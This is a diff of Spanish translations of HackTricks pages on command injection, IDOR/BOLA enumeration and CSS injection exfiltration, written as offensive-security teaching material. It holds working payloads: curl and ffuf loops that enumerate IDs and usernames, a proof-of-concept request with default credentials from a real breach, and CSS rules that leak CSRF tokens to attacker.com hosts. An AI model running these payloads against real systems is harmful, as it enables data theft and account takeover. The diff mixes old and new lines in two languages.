||||
### Exfiltración de datos basada en el tiempo
|
||||
### Time based data exfiltration
|
||||
|
||||
Extracción de datos: carácter por carácter
|
||||
Extrayendo datos: carácter por carácter
|
||||
```
|
||||
swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
|
||||
real 0m5.007s
|
||||
@ -89,9 +88,9 @@ real 0m0.002s
|
||||
user 0m0.000s
|
||||
sys 0m0.000s
|
||||
```
|
||||
### DNS based data exfiltration
|
||||
### Exfiltración de datos basada en DNS
|
||||
|
||||
Basado en la herramienta de `https://github.com/HoLyVieR/dnsbin`, también alojada en dnsbin.zhack.ca
|
||||
Basado en la herramienta `https://github.com/HoLyVieR/dnsbin`, también alojada en dnsbin.zhack.ca
|
||||
```
|
||||
1. Go to http://dnsbin.zhack.ca/
|
||||
2. Execute a simple 'ls'
|
||||
@ -122,7 +121,7 @@ powershell C:**2\n??e*d.*? # notepad
|
||||
|
||||
### Node.js `child_process.exec` vs `execFile`
|
||||
|
||||
Al auditar back-ends en JavaScript/TypeScript, con frecuencia se encontrará con la API Node.js `child_process`.
|
||||
Al auditar back-ends en JavaScript/TypeScript, a menudo te encontrarás con la API `child_process` de Node.js.
|
||||
```javascript
|
||||
// Vulnerable: user-controlled variables interpolated inside a template string
|
||||
const { exec } = require('child_process');
|
||||
@ -130,9 +129,9 @@ exec(`/usr/bin/do-something --id_user ${id_user} --payload '${JSON.stringify(pay
|
||||
/* … */
|
||||
});
|
||||
```
|
||||
`exec()` lanza un **shell** (`/bin/sh -c`), por lo tanto cualquier carácter que tenga un significado especial para el shell (back-ticks, `;`, `&&`, `|`, `$()`, …) resultará en **command injection** cuando la entrada del usuario se concatene en la cadena.
|
||||
`exec()` genera un **shell** (`/bin/sh -c`), por lo tanto cualquier carácter que tenga un significado especial para el shell (back-ticks, `;`, `&&`, `|`, `$()`, …) dará lugar a **command injection** cuando la entrada del usuario se concatene en la cadena.
|
||||
|
||||
**Mitigación:** usa `execFile()` (o `spawn()` sin la opción `shell`) y proporciona **cada argumento como un elemento separado del array** para que no intervenga el shell:
|
||||
**Mitigación:** utiliza `execFile()` (o `spawn()` sin la opción `shell`) y proporciona **cada argumento como un elemento separado del array** para que no se utilice el shell:
|
||||
```javascript
|
||||
const { execFile } = require('child_process');
|
||||
execFile('/usr/bin/do-something', [
|
||||
@ -140,9 +139,9 @@ execFile('/usr/bin/do-something', [
|
||||
'--payload', JSON.stringify(payload)
|
||||
]);
|
||||
```
|
||||
Caso real: *Synology Photos* ≤ 1.7.0-0794 era explotable mediante un evento WebSocket no autenticado que colocaba datos controlados por el atacante en `id_user`, los cuales luego se insertaban en una llamada `exec()`, logrando RCE (Pwn2Own Ireland 2024).
|
||||
Caso real: *Synology Photos* ≤ 1.7.0-0794 fue explotable mediante un evento WebSocket no autenticado que colocaba datos controlados por el atacante en `id_user`, que luego se incrustaban en una llamada a `exec()`, logrando RCE (Pwn2Own Ireland 2024).
|
||||
|
||||
## Brute-Force Detection List
|
||||
## Lista de detección de Brute-Force
|
||||
|
||||
|
||||
{{#ref}}
|
||||
|
@ -2,23 +2,23 @@
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
IDOR (Insecure Direct Object Reference) / Broken Object Level Authorization (BOLA) aparece cuando un endpoint web o API revela o acepta un identificador controlable por el usuario que se usa **directamente** para acceder a un objeto interno **sin verificar que el llamante esté autorizado** para acceder/modificar ese objeto.
|
||||
La explotación exitosa normalmente permite escalamiento de privilegios horizontal o vertical, como leer o modificar datos de otros usuarios y, en el peor de los casos, la toma total de cuentas o la exfiltración masiva de datos.
|
||||
IDOR (Insecure Direct Object Reference) / Broken Object Level Authorization (BOLA) aparece cuando un web o API endpoint revela o acepta un identificador controlado por el usuario que se usa **directamente** para acceder a un objeto interno **sin verificar que el solicitante esté autorizado** para acceder/modificar ese objeto.
|
||||
La explotación exitosa normalmente permite escalada de privilegios horizontal o vertical, como leer o modificar datos de otros usuarios y, en el peor de los casos, la toma completa de cuentas o la exfiltración masiva de datos.
|
||||
|
||||
---
|
||||
## 1. Identificando posibles IDOR
|
||||
## 1. Identifying Potential IDORs
|
||||
|
||||
1. Busca **parámetros que hagan referencia a un objeto**:
|
||||
* Ruta: `/api/user/1234`, `/files/550e8400-e29b-41d4-a716-446655440000`
|
||||
* Consulta: `?id=42`, `?invoice=2024-00001`
|
||||
* Cuerpo / JSON: `{"user_id": 321, "order_id": 987}`
|
||||
* Encabezados / Cookies: `X-Client-ID: 4711`
|
||||
2. Prioriza endpoints que **leen o actualizan** datos (`GET`, `PUT`, `PATCH`, `DELETE`).
|
||||
3. Observa cuando los identificadores son **secuenciales o predecibles** – si tu ID es `64185742`, entonces `64185741` probablemente exista.
|
||||
4. Explora flujos ocultos o alternativos (p. ej. *"Paradox team members"* link en las páginas de login) que puedan exponer APIs adicionales.
|
||||
5. Usa una sesión autenticada con **pocos privilegios** y cambia solo el ID **manteniendo el mismo token/cookie**. La ausencia de un error de autorización suele ser señal de IDOR.
|
||||
1. Look for **parameters that reference an object**:
|
||||
* Path: `/api/user/1234`, `/files/550e8400-e29b-41d4-a716-446655440000`
|
||||
* Query: `?id=42`, `?invoice=2024-00001`
|
||||
* Body / JSON: `{"user_id": 321, "order_id": 987}`
|
||||
* Headers / Cookies: `X-Client-ID: 4711`
|
||||
2. Prefer endpoints that **read or update** data (`GET`, `PUT`, `PATCH`, `DELETE`).
|
||||
3. Note when identifiers are **sequential or predictable** – if your ID is `64185742`, then `64185741` probably exists.
|
||||
4. Explore hidden or alternate flows (e.g. *"Paradox team members"* link in login pages) that might expose extra APIs.
|
||||
5. Use an **authenticated low-privilege session** and change only the ID **keeping the same token/cookie**. The absence of an authorization error is usually a sign of IDOR.
|
||||
|
||||
### Quick manual tampering (Burp Repeater)
|
||||
### Manipulación manual rápida (Burp Repeater)
|
||||
```
|
||||
PUT /api/lead/cem-xhr HTTP/1.1
|
||||
Host: www.example.com
|
||||
@ -27,7 +27,7 @@ Content-Type: application/json
|
||||
|
||||
{"lead_id":64185741}
|
||||
```
|
||||
### Enumeración automatizada (Burp Intruder / bucle de curl)
|
||||
### Enumeración automatizada (Burp Intruder / curl loop)
|
||||
```bash
|
||||
for id in $(seq 64185742 64185700); do
|
||||
curl -s -X PUT 'https://www.example.com/api/lead/cem-xhr' \
|
||||
@ -36,69 +36,67 @@ curl -s -X PUT 'https://www.example.com/api/lead/cem-xhr' \
|
||||
-d '{"lead_id":'"$id"'}' | jq -e '.email' && echo "Hit $id";
|
||||
done
|
||||
```
|
||||
---
|
||||
### Oráculo de respuesta de error para la enumeración de usuarios/archivos
|
||||
|
||||
### Error-response oracle for user/file enumeration
|
||||
Cuando un download endpoint acepta tanto un username como un filename (p.ej. `/view.php?username=<u>&file=<f>`), las sutiles diferencias en los mensajes de error a menudo crean un oráculo:
|
||||
|
||||
Cuando un download endpoint acepta tanto un username como un filename (p. ej. `/view.php?username=<u>&file=<f>`), sutiles diferencias en los mensajes de error a menudo crean un oracle:
|
||||
- Non-existent username → "User not found"
|
||||
- Bad filename but valid extension → "File does not exist" (sometimes also lists available files)
|
||||
- Bad extension → validation error
|
||||
|
||||
- Username inexistente → "User not found"
|
||||
- Filename inválido pero extensión válida → "File does not exist" (a veces también lista archivos disponibles)
|
||||
- Extensión inválida → validation error
|
||||
|
||||
Con cualquier sesión autenticada, puedes fuzzear el parámetro username mientras mantienes un filename benigno y filtrar por la cadena "user not found" para descubrir usuarios válidos:
|
||||
Con cualquier authenticated session, puedes fuzz el parámetro username mientras mantienes un filename benigno y filtrar por la cadena "User not found" para descubrir usuarios válidos:
|
||||
```bash
|
||||
ffuf -u 'http://target/view.php?username=FUZZ&file=test.doc' \
|
||||
-b 'PHPSESSID=<session-cookie>' \
|
||||
-w /opt/SecLists/Usernames/Names/names.txt \
|
||||
-fr 'User not found'
|
||||
```
|
||||
Una vez que se identifican nombres de usuario válidos, solicita archivos específicos directamente (por ejemplo, `/view.php?username=amanda&file=privacy.odt`). Este patrón suele conducir a la divulgación no autorizada de documentos de otros usuarios y a la exposición de credenciales.
|
||||
Una vez que se identifican nombres de usuario válidos, solicita archivos específicos directamente (p. ej., `/view.php?username=amanda&file=privacy.odt`). Este patrón con frecuencia conduce a la divulgación no autorizada de los documentos de otros usuarios y a la filtración de credenciales.
|
||||
|
||||
---
|
||||
## 2. Estudio de caso real – McHire Chatbot Platform (2025)
|
||||
|
||||
Durante una evaluación del portal de reclutamiento Paradox.ai-powered **McHire** se descubrió la siguiente IDOR:
|
||||
Durante una evaluación del portal de reclutamiento **McHire** impulsado por Paradox.ai se descubrió el siguiente IDOR:
|
||||
|
||||
* Endpoint: `PUT /api/lead/cem-xhr`
|
||||
* Authorization: user session cookie for **any** restaurant test account
|
||||
* Body parameter: `{"lead_id": N}` – 8-digit, **sequential** numeric identifier
|
||||
* Autorización: cookie de sesión de usuario para **cualquier** cuenta de prueba de restaurante
|
||||
* Parámetro del cuerpo: `{"lead_id": N}` – identificador numérico de 8 dígitos, **secuencial**
|
||||
|
||||
Al disminuir `lead_id` el tester recuperó la **full PII** de solicitantes arbitrarios (nombre, e-mail, teléfono, dirección, preferencias de turno) además de un consumidor **JWT** que permitió session hijacking. La enumeración del rango `1 – 64,185,742` expuso aproximadamente **64 millones** de registros.
|
||||
Al disminuir `lead_id` el evaluador recuperó la **PII completa** de solicitantes arbitrarios (name, e-mail, phone, address, shift preferences) además de un **JWT** de consumidor que permitió el secuestro de sesión. La enumeración del rango `1 – 64,185,742` expuso aproximadamente **64 million** registros.
|
||||
|
||||
Proof-of-Concept request:
|
||||
Solicitud de prueba de concepto:
|
||||
```bash
|
||||
curl -X PUT 'https://www.mchire.com/api/lead/cem-xhr' \
|
||||
-H 'Content-Type: application/json' \
|
||||
-d '{"lead_id":64185741}'
|
||||
```
|
||||
Combinada con las **credenciales administrativas por defecto** (`123456:123456`) que daban acceso a la cuenta de prueba, la vulnerabilidad resultó en una brecha de datos crítica a nivel de toda la empresa.
|
||||
Combinado con **default admin credentials** (`123456:123456`) que otorgaban acceso a la cuenta de prueba, la vulnerabilidad resultó en una brecha de datos crítica a nivel de toda la empresa.
|
||||
|
||||
---
|
||||
## 3. Impacto de IDOR / BOLA
|
||||
* Escalada horizontal – leer/actualizar/eliminar los datos de **otros usuarios**.
|
||||
* Escalada vertical – un usuario con pocos privilegios obtiene funcionalidad exclusiva de administrador.
|
||||
* Brecha masiva de datos si los identificadores son secuenciales (p. ej., IDs de solicitantes, facturas).
|
||||
* Secuestro de cuentas mediante el robo de tokens o el restablecimiento de contraseñas de otros usuarios.
|
||||
* Escalada vertical – un usuario con pocos privilegios obtiene funcionalidad exclusiva de admin.
|
||||
* Brecha masiva de datos si los identificadores son secuenciales (ej., IDs de solicitantes, facturas).
|
||||
* Secuestro de cuentas robando tokens o restableciendo contraseñas de otros usuarios.
|
||||
|
||||
---
|
||||
## 4. Mitigaciones & Best Practices
|
||||
1. **Aplicar autorización a nivel de objeto** en cada solicitud (`user_id == session.user`).
|
||||
1. **Aplicar autorización a nivel de objeto** en cada petición (`user_id == session.user`).
|
||||
2. Preferir **identificadores indirectos e impredecibles** (UUIDv4, ULID) en lugar de IDs auto-incrementales.
|
||||
3. Realizar la autorización **en el servidor**, nunca confíes en campos de formulario ocultos o controles de la interfaz de usuario.
|
||||
4. Implementa verificaciones **RBAC / ABAC** en un middleware central.
|
||||
5. Agrega **rate-limiting & logging** para detectar la enumeración de IDs.
|
||||
6. Realiza pruebas de seguridad en cada nuevo endpoint (unit, integration, and DAST).
|
||||
3. Realizar la autorización **del lado del servidor**, nunca confiar en campos ocultos de formulario o controles de UI.
|
||||
4. Implementar verificaciones **RBAC / ABAC** en un middleware central.
|
||||
5. Agregar **rate-limiting & logging** para detectar la enumeración de IDs.
|
||||
6. Realizar pruebas de seguridad en cada nuevo endpoint (unit, integration, and DAST).
|
||||
|
||||
---
|
||||
## 5. Tooling
|
||||
## 5. Herramientas
|
||||
* **BurpSuite extensions**: Authorize, Auto Repeater, Turbo Intruder.
|
||||
* **OWASP ZAP**: Auth Matrix, Forced Browse.
|
||||
* **Github projects**: `bwapp-idor-scanner`, `Blindy` (bulk IDOR hunting).
|
||||
|
||||
|
||||
|
||||
## References
|
||||
## Referencias
|
||||
* [McHire Chatbot Platform: Default Credentials and IDOR Expose 64M Applicants’ PII](https://ian.sh/mcdonalds)
|
||||
* [OWASP Top 10 – Broken Access Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control/)
|
||||
* [How to Find More IDORs – Vickie Li](https://medium.com/@vickieli/how-to-find-more-idors-ae2db67c9489)
|
||||
|
@ -6,7 +6,7 @@
|
||||
|
||||
### Attribute Selector
|
||||
|
||||
Los selectores CSS se crean para coincidir con los valores de los atributos `name` y `value` de un elemento `input`. Si el atributo `value` del elemento `input` comienza con un carácter específico, se carga un recurso externo predefinido:
|
||||
Los CSS selectors se crean para coincidir con los valores de los atributos `name` y `value` de un elemento `input`. Si el atributo `value` del elemento `input` comienza con un carácter específico, se carga un recurso externo predefinido:
|
||||
```css
|
||||
input[name="csrf"][value^="a"] {
|
||||
background-image: url(https://attacker.com/exfil/a);
|
||||
@ -19,30 +19,30 @@ input[name="csrf"][value^="9"] {
|
||||
background-image: url(https://attacker.com/exfil/9);
|
||||
}
|
||||
```
|
||||
Sin embargo, este enfoque presenta una limitación al tratar con elementos input ocultos (`type="hidden"`), ya que los elementos ocultos no cargan fondos.
|
||||
Sin embargo, este enfoque presenta una limitación al tratar con elementos input ocultos (`type="hidden"`) porque los elementos ocultos no cargan imágenes de fondo.
|
||||
|
||||
#### Bypass para elementos ocultos
|
||||
|
||||
Para eludir esta limitación, puedes apuntar a un elemento hermano posterior usando el combinador general de hermanos `~`. La regla CSS entonces se aplica a todos los hermanos que siguen al elemento input oculto, provocando que la imagen de fondo se cargue:
|
||||
Para eludir esta limitación, puedes apuntar a un elemento hermano siguiente usando el combinador general de hermanos `~`. La regla CSS entonces se aplica a todos los hermanos que siguen al elemento input oculto, provocando que se cargue la imagen de fondo:
|
||||
```css
|
||||
input[name="csrf"][value^="csrF"] ~ * {
|
||||
background-image: url(https://attacker.com/exfil/csrF);
|
||||
}
|
||||
```
|
||||
Un ejemplo práctico de explotación de esta técnica está detallado en el fragmento de código proporcionado. Puedes verlo [aquí](https://gist.github.com/d0nutptr/928301bde1d2aa761d1632628ee8f24e).
|
||||
Un ejemplo práctico de explotación de esta técnica se detalla en el fragmento de código proporcionado. Puedes verlo [here](https://gist.github.com/d0nutptr/928301bde1d2aa761d1632628ee8f24e).
|
||||
|
||||
#### Prerrequisitos para CSS Injection
|
||||
#### Requisitos previos para CSS Injection
|
||||
|
||||
Para que la técnica CSS Injection sea efectiva, se deben cumplir ciertas condiciones:
|
||||
Para que la técnica de CSS Injection sea efectiva, se deben cumplir ciertas condiciones:
|
||||
|
||||
1. **Payload Length**: El vector de inyección CSS debe soportar payloads lo suficientemente largos para acomodar los selectores creados.
|
||||
1. **Payload Length**: El vector de CSS injection debe soportar payloads lo suficientemente largos para acomodar los selectores diseñados.
|
||||
2. **CSS Re-evaluation**: Debes tener la capacidad de enmarcar la página, lo cual es necesario para activar la re-evaluación del CSS con payloads recién generados.
|
||||
3. **External Resources**: La técnica asume la posibilidad de usar imágenes alojadas externamente. Esto podría estar restringido por la política de seguridad de contenido (CSP) del sitio.
|
||||
3. **External Resources**: La técnica asume la capacidad de usar imágenes alojadas externamente. Esto podría estar restringido por la Content Security Policy (CSP) del sitio.
|
||||
|
||||
### Blind Attribute Selector
|
||||
|
||||
Como [**explicado en esta publicación**](https://portswigger.net/research/blind-css-exfiltration), es posible combinar los selectores **`:has`** y **`:not`** para identificar contenido incluso desde elementos ciegos. Esto es muy útil cuando no tienes idea de qué hay dentro de la página web que carga la inyección de CSS.\
|
||||
También es posible usar esos selectores para extraer información de varios bloques del mismo tipo, como en:
|
||||
As [**explained in this post**](https://portswigger.net/research/blind-css-exfiltration), it's possible to combine the selectors **`:has`** and **`:not`** to identify content even from blind elements. This is very useful when you have no idea what is inside the web page loading the CSS injection.\
|
||||
It's also possible to use those selectors to extract information from several block of the same type like in:
|
||||
```html
|
||||
<style>
|
||||
html:has(input[name^="m"]):not(input[name="mytoken"]) {
|
||||
@ -52,21 +52,21 @@ background: url(/m);
|
||||
<input name="mytoken" value="1337" />
|
||||
<input name="myname" value="gareth" />
|
||||
```
|
||||
Combinando esto con la siguiente técnica **@import**, es posible exfiltrar mucha **info usando CSS injection desde blind pages con** [**blind-css-exfiltration**](https://github.com/hackvertor/blind-css-exfiltration)**.**
|
||||
Combinándolo con la siguiente técnica **@import**, es posible exfiltrar mucha **información usando CSS injection desde páginas blind con** [**blind-css-exfiltration**](https://github.com/hackvertor/blind-css-exfiltration)**.**
|
||||
|
||||
### @import
|
||||
|
||||
La técnica anterior tiene algunas desventajas, revisa los requisitos previos. O bien necesitas poder **enviar múltiples enlaces a la víctima**, o necesitas poder **iframe la página vulnerable a CSS injection**.
|
||||
La técnica anterior tiene algunas desventajas, revisa los prerequisitos. O necesitas poder **enviar múltiples enlaces a la víctima**, o necesitas poder **iframe la página vulnerable a CSS injection**.
|
||||
|
||||
Sin embargo, hay otra técnica ingeniosa que utiliza **CSS `@import`** para mejorar la calidad de la técnica.
|
||||
Sin embargo, hay otra técnica ingeniosa que usa **CSS `@import`** para mejorar la efectividad de la técnica.
|
||||
|
||||
Esto fue mostrado por primera vez por [**Pepe Vila**](https://vwzq.net/slides/2019-s3_css_injection_attacks.pdf) y funciona así:
|
||||
|
||||
En lugar de cargar la misma página una y otra vez con decenas de payloads diferentes cada vez (como en la anterior), vamos a **cargar la página solo una vez y solo con un import al servidor del atacante** (este es el payload para enviar a la víctima):
|
||||
En lugar de cargar la misma página una y otra vez con decenas de payloads diferentes cada vez (como en el ejemplo anterior), vamos a **cargar la página solo una vez y únicamente con un import al servidor del atacante** (este es el payload que enviarás a la víctima):
|
||||
```css
|
||||
@import url("//attacker.com:5001/start?");
|
||||
```
|
||||
1. The import is going to **recibir algún script CSS** from the attackers and the **browser will load it**.
|
||||
1. The import is going to **recibir algún script CSS** from the attackers and the **browser lo cargará**.
|
||||
2. The first part of the CSS script the attacker will send is **another `@import` to the attackers server again.**
|
||||
1. The attackers server won't respond this request yet, as we want to leak some chars and then respond this import with the payload to leak the next ones.
|
||||
3. The second and bigger part of the payload is going to be an **attribute selector leakage payload**
|
||||
@ -74,12 +74,12 @@ En lugar de cargar la misma página una y otra vez con decenas de payloads difer
|
||||
4. Once the attackers server has received the **first and last char of the secret**, it will **respond the import requested in the step 2**.
|
||||
1. The response is going to be exactly the same as the **steps 2, 3 and 4**, but this time it will try to **find the second char of the secret and then penultimate**.
|
||||
|
||||
El atacante f**ollow that loop until it manages to leak completely the secret**.
|
||||
The attacker will **seguir ese bucle hasta conseguir leak completamente el secreto**.
|
||||
|
||||
You can find the original [**El código original de Pepe Vila para explotar esto aquí**](https://gist.github.com/cgvwzq/6260f0f0a47c009c87b4d46ce3808231) or you can find almost the [**mismo código pero comentado aquí**.](#css-injection)
|
||||
You can find the original [**Pepe Vila's code to exploit this here**](https://gist.github.com/cgvwzq/6260f0f0a47c009c87b4d46ce3808231) or you can find almost the [**same code but commented here**.](#css-injection)
|
||||
|
||||
> [!TIP]
|
||||
> El script intentará descubrir 2 caracteres cada vez (desde el principio y desde el final) porque el selector de atributo permite hacer cosas como:
|
||||
> The script will try to discover 2 chars each time (from the beginning and from the end) because the attribute selector allows to do things like:
|
||||
>
|
||||
> ```css
|
||||
> /* value^= to match the beggining of the value*/
|
||||
@ -93,21 +93,21 @@ You can find the original [**El código original de Pepe Vila para explotar esto
|
||||
> }
|
||||
> ```
|
||||
>
|
||||
> Esto permite que el script filtrar el secret más rápido.
|
||||
> This allows the script to leak the secret faster.
|
||||
|
||||
> [!WARNING]
|
||||
> Sometimes the script **doesn't detect correctly that the prefix + suffix discovered is already the complete flag** and it will continue forwards (in the prefix) and backwards (in the suffix) and at some point it will hang.\
|
||||
> No te preocupes, sólo revisa la **output** porque **puedes ver la flag allí**.
|
||||
> No te preocupes, solo revisa la **output** porque **puedes ver la flag ahí**.
|
||||
|
||||
### Inline-Style CSS Exfiltration (attr() + if() + image-set())
|
||||
|
||||
This primitive enables exfiltration using only an element's inline style attribute, without selectors or external stylesheets. It relies on CSS custom properties, the attr() function to read same-element attributes, the new CSS if() conditionals for branching, and image-set() to trigger a network request that encodes the matched value.
|
||||
|
||||
> [!WARNING]
|
||||
> Las comparaciones de igualdad en if() requieren comillas dobles para literales de cadena. Las comillas simples no coincidirán.
|
||||
> Equality comparisons in if() require double quotes for string literals. Single quotes will not match.
|
||||
|
||||
- Sink: controlar el atributo style de un elemento y asegurarse de que el atributo objetivo esté en el mismo elemento (attr() sólo lee atributos del mismo elemento).
|
||||
- Read: copiar el atributo a una variable CSS: `--val: attr(title)`.
|
||||
- Sink: controlar el atributo style de un elemento y asegurarse de que el atributo objetivo esté en el mismo elemento (attr() reads only same-element attributes).
|
||||
- Read: copiar el atributo en una variable CSS: `--val: attr(title)`.
|
||||
- Decide: seleccionar una URL usando condicionales anidados comparando la variable con candidatas de cadena: `--steal: if(style(--val:"1"): url(//attacker/1); else: url(//attacker/2))`.
|
||||
- Exfiltrate: aplicar `background: image-set(var(--steal))` (o cualquier propiedad que haga fetching) para forzar una petición al endpoint elegido.
|
||||
|
||||
@ -129,11 +129,11 @@ Demostración realista (sondeo de nombres de usuario):
|
||||
```
|
||||
Notas y limitaciones:
|
||||
|
||||
- Funciona en navegadores basados en Chromium al momento de la investigación; el comportamiento puede diferir en otros motores.
|
||||
- Más adecuado para espacios de valores finitos/enumerables (IDs, flags, short usernames). Robar cadenas arbitrariamente largas sin hojas de estilo externas sigue siendo desafiante.
|
||||
- Cualquier propiedad CSS que obtenga una URL puede usarse para desencadenar la petición (p. ej., background/image-set, border-image, list-style, cursor, content).
|
||||
- Funciona en Chromium-based browsers al momento de la investigación; el comportamiento puede diferir en otros motores.
|
||||
- Más adecuado para espacios de valores finitos/enumerables (IDs, flags, short usernames). Robar cadenas arbitrariamente largas sin hojas de estilo externas sigue siendo un desafío.
|
||||
- Cualquier propiedad CSS que obtenga una URL puede usarse para disparar la petición (p. ej., background/image-set, border-image, list-style, cursor, content).
|
||||
|
||||
Automatización: a Burp Custom Action can generate nested inline-style payloads to brute-force attribute values: https://github.com/PortSwigger/bambdas/blob/main/CustomAction/InlineStyleAttributeStealer.bambda
|
||||
Automatización: a Burp Custom Action puede generar payloads inline-style anidados para brute-force de valores de atributos: https://github.com/PortSwigger/bambdas/blob/main/CustomAction/InlineStyleAttributeStealer.bambda
|
||||
|
||||
### Otros selectores
|
||||
|
||||
@ -148,11 +148,11 @@ background-image: url("YOUR_SERVER_URL?1");
|
||||
}
|
||||
```
|
||||
|
||||
### XS-Search basado en errores
|
||||
### Error based XS-Search
|
||||
|
||||
**Referencia:** [CSS based Attack: Abusing unicode-range of @font-face ](https://mksben.l0.cm/2015/10/css-based-attack-abusing-unicode-range.html), [Error-Based XS-Search PoC by @terjanq](https://twitter.com/terjanq/status/1180477124861407234)
|
||||
|
||||
La intención general es **usar una fuente personalizada desde un endpoint controlado** y asegurarse de que **el texto (en este caso, 'A') se muestre con esta fuente solo si el recurso especificado (`favicon.ico`) no se puede cargar**.
|
||||
La intención general es **usar una fuente personalizada desde un endpoint controlado** y asegurarse de que **el texto (en este caso, 'A') se muestre con esa fuente solo si el recurso especificado (`favicon.ico`) no puede cargarse**.
|
||||
```html
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
@ -177,46 +177,46 @@ font-family: "poc";
|
||||
1. **Uso de fuente personalizada**:
|
||||
|
||||
- Se define una fuente personalizada usando la regla `@font-face` dentro de una etiqueta `<style>` en la sección `<head>`.
|
||||
- La fuente se llama `poc` y se obtiene desde un endpoint externo (`http://attacker.com/?leak`).
|
||||
- La propiedad `unicode-range` se establece en `U+0041`, apuntando al carácter Unicode específico 'A'.
|
||||
- La fuente se llama `poc` y se obtiene de un endpoint externo (`http://attacker.com/?leak`).
|
||||
- La propiedad `unicode-range` está establecida en `U+0041`, apuntando al carácter Unicode específico 'A'.
|
||||
|
||||
2. **Elemento `<object>` con texto de reserva**:
|
||||
2. **Elemento `<object>` con texto de fallback**:
|
||||
- Se crea un elemento `<object>` con `id="poc0"` en la sección `<body>`. Este elemento intenta cargar un recurso desde `http://192.168.0.1/favicon.ico`.
|
||||
- El `font-family` de este elemento se establece en `'poc'`, como se definió en la sección `<style>`.
|
||||
- Si el recurso (`favicon.ico`) no se carga, se mostrará el contenido de reserva (la letra 'A') dentro de la etiqueta `<object>`.
|
||||
- El contenido de reserva ('A') se renderizará usando la fuente personalizada `poc` si no se puede cargar el recurso externo.
|
||||
- Si el recurso (`favicon.ico`) falla al cargar, se muestra el contenido de fallback (la letra 'A') dentro de la etiqueta `<object>`.
|
||||
- El contenido de fallback ('A') se renderizará usando la fuente personalizada `poc` si no se puede cargar el recurso externo.
|
||||
|
||||
### Estilizando el fragmento Scroll-to-text
|
||||
### Estilizando el Scroll-to-text Fragment
|
||||
|
||||
La pseudoclase **`:target`** se emplea para seleccionar un elemento apuntado por un **fragmento de URL**, según lo especificado en la [CSS Selectors Level 4 specification](https://drafts.csswg.org/selectors-4/#the-target-pseudo). Es crucial entender que `::target-text` no coincide con ningún elemento a menos que el texto sea apuntado explícitamente por el fragmento.
|
||||
La pseudo-clase **`:target`** se emplea para seleccionar un elemento apuntado por un **fragmento de URL**, como se especifica en la [CSS Selectors Level 4 specification](https://drafts.csswg.org/selectors-4/#the-target-pseudo). Es crucial entender que `::target-text` no coincide con ningún elemento a menos que el texto sea explícitamente apuntado por el fragmento.
|
||||
|
||||
Surge una preocupación de seguridad cuando los atacantes explotan la característica **Scroll-to-text** fragment, lo que les permite confirmar la presencia de texto específico en una página web al cargar un recurso desde su servidor mediante inyección de HTML. El método implica inyectar una regla CSS como esta:
|
||||
Surge una preocupación de seguridad cuando atacantes explotan la característica **Scroll-to-text**, lo que les permite confirmar la presencia de texto específico en una página web cargando un recurso desde su servidor mediante HTML injection. El método consiste en inyectar una regla CSS como esta:
|
||||
```css
|
||||
:target::before {
|
||||
content: url(target.png);
|
||||
}
|
||||
```
|
||||
En tales escenarios, si el texto "Administrator" está presente en la página, el recurso `target.png` se solicita al servidor, indicando la presencia del texto. Una instancia de este ataque puede ejecutarse mediante una URL especialmente preparada que incrusta el CSS inyectado junto con un Scroll-to-text fragment:
|
||||
En tales escenarios, si el texto "Administrator" está presente en la página, se solicita el recurso `target.png` al servidor, indicando la presencia del texto. Una instancia de este ataque puede ejecutarse a través de una URL especialmente elaborada que incrusta el CSS inyectado junto con un Scroll-to-text fragment:
|
||||
```
|
||||
http://127.0.0.1:8081/poc1.php?note=%3Cstyle%3E:target::before%20{%20content%20:%20url(http://attackers-domain/?confirmed_existence_of_Administrator_username)%20}%3C/style%3E#:~:text=Administrator
|
||||
```
|
||||
Aquí, el ataque manipula una HTML injection para transmitir el código CSS, apuntando al texto específico "Administrator" mediante el Scroll-to-text fragment (`#:~:text=Administrator`). Si se encuentra el texto, se carga el recurso señalado, lo que inadvertidamente indica su presencia al atacante.
|
||||
Aquí, el ataque manipula HTML injection para transmitir el código CSS, apuntando al texto específico "Administrator" mediante el Scroll-to-text fragment (`#:~:text=Administrator`). Si se encuentra el texto, el recurso indicado se carga, señalando involuntariamente su presencia al atacante.
|
||||
|
||||
Para la mitigación, deben tenerse en cuenta los siguientes puntos:
|
||||
Para mitigar este riesgo, deben considerarse los siguientes puntos:
|
||||
|
||||
1. **Constrained STTF Matching**: Scroll-to-text Fragment (STTF) está diseñado para coincidir solo con palabras o frases, limitando así su capacidad para leak secretos arbitrarios o tokens.
|
||||
2. **Restriction to Top-level Browsing Contexts**: STTF opera únicamente en top-level browsing contexts y no funciona dentro de iframes, lo que hace que cualquier intento de explotación sea más visible para el usuario.
|
||||
3. **Necessity of User Activation**: STTF requiere un user-activation gesture para operar, lo que significa que las explotaciones son factibles solo mediante navigations iniciadas por el usuario. Este requisito mitiga considerablemente el riesgo de que los ataques se automaticen sin interacción del usuario. No obstante, el autor del blog señala condiciones y bypasses específicos (p. ej., social engineering, interacción con browser extensions prevalentes) que podrían facilitar la automatización del ataque.
|
||||
1. **Constrained STTF Matching**: Scroll-to-text Fragment (STTF) está diseñado para coincidir solo con palabras o frases, limitando así su capacidad para leak arbitrary secrets or tokens.
|
||||
2. **Restriction to Top-level Browsing Contexts**: STTF opera únicamente en contextos de navegación de nivel superior y no funciona dentro de iframes, lo que hace que cualquier intento de explotación sea más visible para el usuario.
|
||||
3. **Necessity of User Activation**: STTF requiere un gesto de user-activation para funcionar, lo que significa que las explotaciones solo son viables mediante navegaciones iniciadas por el usuario. Este requisito mitiga considerablemente el riesgo de que los ataques se automaticen sin interacción del usuario. No obstante, el autor del blog señala condiciones específicas y bypasses (p. ej., social engineering, interacción con extensiones de navegador muy extendidas) que podrían facilitar la automatización del ataque.
|
||||
|
||||
La conciencia de estos mecanismos y de las posibles vulnerabilidades es clave para mantener la seguridad web y protegerse contra tales tácticas explotativas.
|
||||
La concienciación sobre estos mecanismos y las posibles vulnerabilidades es clave para mantener la seguridad web y protegerse contra tales tácticas explotativas.
|
||||
|
||||
Para más información consulta el informe original: [https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/](https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/)
|
||||
|
||||
Puedes ver un [**exploit using this technique for a CTF here**](https://gist.github.com/haqpl/52455c8ddfec33aeefb468301d70b6eb).
|
||||
